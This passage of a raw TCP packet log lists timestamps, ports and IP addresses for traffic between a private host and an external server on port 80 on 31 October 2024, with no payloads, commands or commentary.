Oct 31, 2024 01:18:51.919569969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919581890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919585943 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919593096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919604063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919616938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919634104 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919651031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919660091 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919661999 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919675112 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919684887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919698000 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919706106 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919742107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919759989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919807911 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919914961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919924974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919934988 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919945955 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919965029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919967890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919975996 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.919987917 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.919994116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920005083 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920010090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920026064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920058966 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920062065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920073032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920089006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920099020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920109034 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920110941 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920124054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920140028 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920140982 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920151949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920160055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920161009 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920171976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920177937 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920187950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920205116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920213938 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920216084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920227051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920242071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920262098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920363903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920372963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920459032 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920630932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920643091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920653105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920665026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920670986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920685053 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920717001 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920744896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920757055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920767069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920778990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920789003 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920789957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920800924 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920804977 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920813084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.920833111 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.920852900 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924104929 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924144030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924154043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924181938 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924226999 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924302101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924318075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924329996 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924340963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924341917 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924352884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924364090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924376011 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924377918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924388885 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924398899 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924398899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924412012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924417973 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924423933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924434900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924443007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924449921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924460888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924462080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924489975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924593925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924612045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924621105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924652100 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924664021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924670935 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924675941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924690962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924710989 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924731970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924879074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924890041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924901009 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924911976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924921989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924923897 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924932003 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924943924 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924949884 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924954891 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924966097 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924968958 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.924977064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.924989939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925007105 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925025940 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925165892 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925178051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925188065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925199986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925206900 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925211906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925221920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925231934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925234079 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925244093 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925250053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925261021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925271988 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925271988 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925282001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925293922 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925303936 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925312996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925316095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:51.925328970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925338984 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:51.925357103 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.076417923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.076435089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.076488972 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.076554060 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.076565981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.076575994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.076610088 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.076627016 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.076641083 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.076653004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.076679945 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.076695919 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077379942 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077428102 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077442884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077455044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077472925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077497005 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077498913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077512980 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077534914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077552080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077564955 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077581882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077605009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077616930 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077620983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077632904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077644110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077666044 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077689886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077697039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077713966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077734947 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077738047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077755928 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077764034 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077775955 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077786922 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077801943 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077806950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077826977 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077828884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077853918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077857018 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077867985 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077883959 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077888966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077909946 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077919006 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077922106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077931881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077953100 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077963114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.077980995 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.077984095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078005075 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078017950 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078021049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078037977 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078057051 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078067064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078069925 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078085899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078099012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078109026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078118086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078135967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078138113 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078144073 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078149080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078166962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078171968 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078180075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078187943 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078191042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078202963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078216076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078219891 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078231096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078243017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078243017 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078258038 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078262091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078272104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078280926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078284025 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078288078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078294039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078300953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078305960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078310013 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078324080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078334093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078341007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078345060 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078372955 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078386068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078387976 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078397989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078416109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078427076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078438044 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078464985 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078475952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078488111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078505039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078516006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078527927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078533888 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078540087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078550100 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078551054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078571081 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078593016 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078602076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078668118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078679085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078684092 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078691006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078701019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078711033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078711033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078737020 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078744888 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078763962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078775883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078803062 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078826904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078839064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078860044 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.078892946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078902960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.078934908 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079054117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079076052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079111099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079122066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079176903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079180002 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079180956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079186916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079197884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079211950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079214096 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079221010 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079225063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079241991 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079262018 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079351902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079361916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079368114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079374075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079379082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079385042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079401016 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079402924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079415083 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079422951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079431057 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079441071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079451084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079456091 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079462051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079468966 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079472065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079482079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079499006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079500914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079509974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079519033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079526901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079529047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079547882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079550028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079560041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079561949 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079571009 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079582930 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079607010 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079626083 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079636097 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079653978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079665899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079670906 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079675913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079689026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079690933 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079710960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079725027 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079734087 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.079735994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079747915 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.079758883 CET	49962	80	192.168.2.5	185.215.113.206
